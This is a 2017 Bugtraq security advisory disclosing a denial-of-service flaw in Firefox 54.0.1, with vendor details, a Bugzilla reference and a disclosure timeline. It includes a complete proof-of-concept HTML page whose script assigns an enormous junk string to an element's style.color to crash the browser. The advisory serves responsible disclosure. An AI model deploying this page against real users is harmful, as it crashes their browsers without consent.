bugtraq - Firefox v54.0.1 Denial Of Service

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Date: Fri, 7 Jul 2017 04:31:04 GMT
From: apparitionsec@...il.com
To: bugtraq@...urityfocus.com
Subject: Firefox v54.0.1 Denial Of Service

[+] Credits: John Page aka hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/FIREFOX-v54.0.1-DENIAL-OF-SERVICE.txt
[+] ISR: ApparitionSec            

Vendor:
===============
www.mozilla.org

Product:
===============
Firefox v54.0.1

Vulnerability Type:
===================
Denial Of Service

Security Issue:
================
Dynamically creating HTML elements IMG,FORM,DIV,P,A,H2,IFRAME,TABLE,TEXTAREA and assigning very long string of junk chars to the
"style.color" property results in Firefox Browser out of memory crash (not tab crash).

Tested on Windows 7

References:
https://bugzilla.mozilla.org/show_bug.cgi?id=1376692#a465096_417288

Exploit/POC:
=============
<html>
<body>
<script>

var p1 = "\x41";
for (var c=0;c<0xC350;c++){
p1+="\x41";
}
var p2="\x41";
for (c=0;c<0x1388;c++){
p2 += p1;
}		 
var el = document.createElement('img')  //FORM,DIV,P,A,H2,IFRAME,TABLE,TEXTAREA  //<=== OR any of these elements.
el.style.color=p2
document.body.appendChild(el)

</script>
</body>

</html>

Network Access:
===============
Remote

Severity:
=========
Medium

Disclosure Timeline:
=============================
Vendor Notification: June 27, 2017
July 7, 2017  : Public Disclosure

[+] Disclaimer
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is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

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